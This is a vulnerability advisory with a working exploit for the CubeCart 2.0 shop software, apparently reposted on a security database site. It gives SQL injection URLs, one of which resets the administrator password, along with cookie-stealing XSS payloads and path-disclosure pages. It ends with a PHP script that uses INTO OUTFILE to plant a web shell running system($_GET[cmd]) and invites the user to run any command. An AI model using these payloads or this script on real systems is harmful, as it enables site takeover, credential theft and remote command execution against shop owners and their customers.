CubeCart Multiple input Validation vulnerabilities

Advisory Content :

Hello,,

CubeCart Multiple input Validation vulnerabilities

Discovered By : HACKERS PAL

Copy rights : HACKERS PAL

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

Sql injection

admin/forgot_pass.php?submit=1&user_name=-1'or%201=1/*

it will reset the password for the administrator

--

admin/forgot_pass.php?submit=1&user_name=-1'%20union%20select%201,2,3,4,
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
,31,32,33,34,35,36,37,38,39,40,41,42/*

--

view_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,
13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

--

view_doc.php?view_doc=-1'%20union%20select%201,2/*

--

admin/print_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10
,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

/***************************************/

xss

admin/print_order.php?order_id=<script>alert(document.cookie);</script>

--

view_order.php?order_id=<script>alert(document.cookie);</script>

--

admin/nav.php?site_url="><script>alert(document.cookie);</script><noscri
pt>

admin/nav.php?la_search_home=<script>alert(document.cookie);</script>

and language variables for this file ..

--

admin/image.php?image=<script>alert(document.cookie);</script>

--

admin/header.inc.php?site_name=</title><script>alert(document.cookie);</
script>

admin/header.inc.php?la_adm_header=</title><script>alert(document.cookie
);</script>

admin/header.inc.php?charset='><script>alert(document.cookie);</script>

and all other variables in this file

--

footer.inc.php?la_pow_by=<script>alert(document.cookie);</script>

--

header.inc.php?site_name=</title><script>alert(document.cookie);</script
>

and all other variables in the file.

--

/***************************************/

Full path

information.php

language.php

link_navi.php?cat_id=1

list_docs.php

popular_prod.php

sale.php

check_sum.php

spotlight.php

cat_navi.php

/***************************************/

Exploit :-

#!/usr/bin/php -q -d short_open_tag=on

<?

/*

/* CubeCart Remote sql injection exploit

/* By : HACKERS PAL

/* WwW.SoQoR.NeT

/*

/* Tested on CubeCart 2.0.X and maybe other versions are injected

*/

print_r('

/**********************************************/

/* CubeCart Remote sql injection exploit */

/* by HACKERS PAL <security (at) soqor (dot) net [email concealed]>
*/

/* site: http://www.soqor.net */');

if ($argc<2) {

print_r('

/* -- */

/* Usage: php '.$argv[0].' host

/* Example: */

/* php '.$argv[0].' http://localhost/CubeCart/

/**********************************************/

');

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

$url=$argv[1];

$exploit1="/cat_navi.php";

Function get_page($url)

{

if(function_exists("file_get_contents"))

{

$contents = file_get_contents($url);

}

else

{

$fp=fopen("$url","r");

while($line=fread($fp,1024))

{

$contents=$contents.$line;

}

}

return $contents;

}

$page = get_page($url.$exploit1);

$pa=explode("<b>",$page);

$pa=explode("</b>",$pa[2]);

$path = str_replace("cat_navi.php","",$pa[0])."soqor.php";

$var=' ';

$var = str_replace(" ","",$var);

$path = str_replace($var,"/",$path);

$exploit2="/view_doc.php?view_doc=-1'%20union%20select%20'<?php%20system
(".'$_GET[cmd]'.");%20?>','WwW.SoQoR.NeT'%20INTO%20OUTFILE%20'$path'%20f
rom%20store_docs/*";

$page_now = get_page($url.$exploit2);

if(ereg("mysql_fetch_array()",$page_now))

{

$newurl=$url."/soqor.php?cmd=id";

Echo "n[+] Go TO ".str_replace("//","/",$newurl)."n[+] Change id to any
command you want :)";

}

else

{

Echo "n[-] Exploit Faild";

}

Die("n/* Visit us : WwW.SoQoR.NeT
*/n/**********************************************/");

?>

#WwW.SoQoR.NeT

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

CubeCart Multiple input Validation vulnerabilities